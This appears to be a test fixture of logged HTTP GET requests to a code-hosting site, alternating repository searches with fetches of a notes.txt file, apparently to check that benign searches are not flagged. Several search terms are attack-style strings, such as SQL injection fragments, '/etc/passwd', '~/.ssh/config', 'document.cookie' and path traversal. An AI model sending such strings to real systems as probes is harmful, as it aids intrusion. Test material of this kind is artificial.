+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
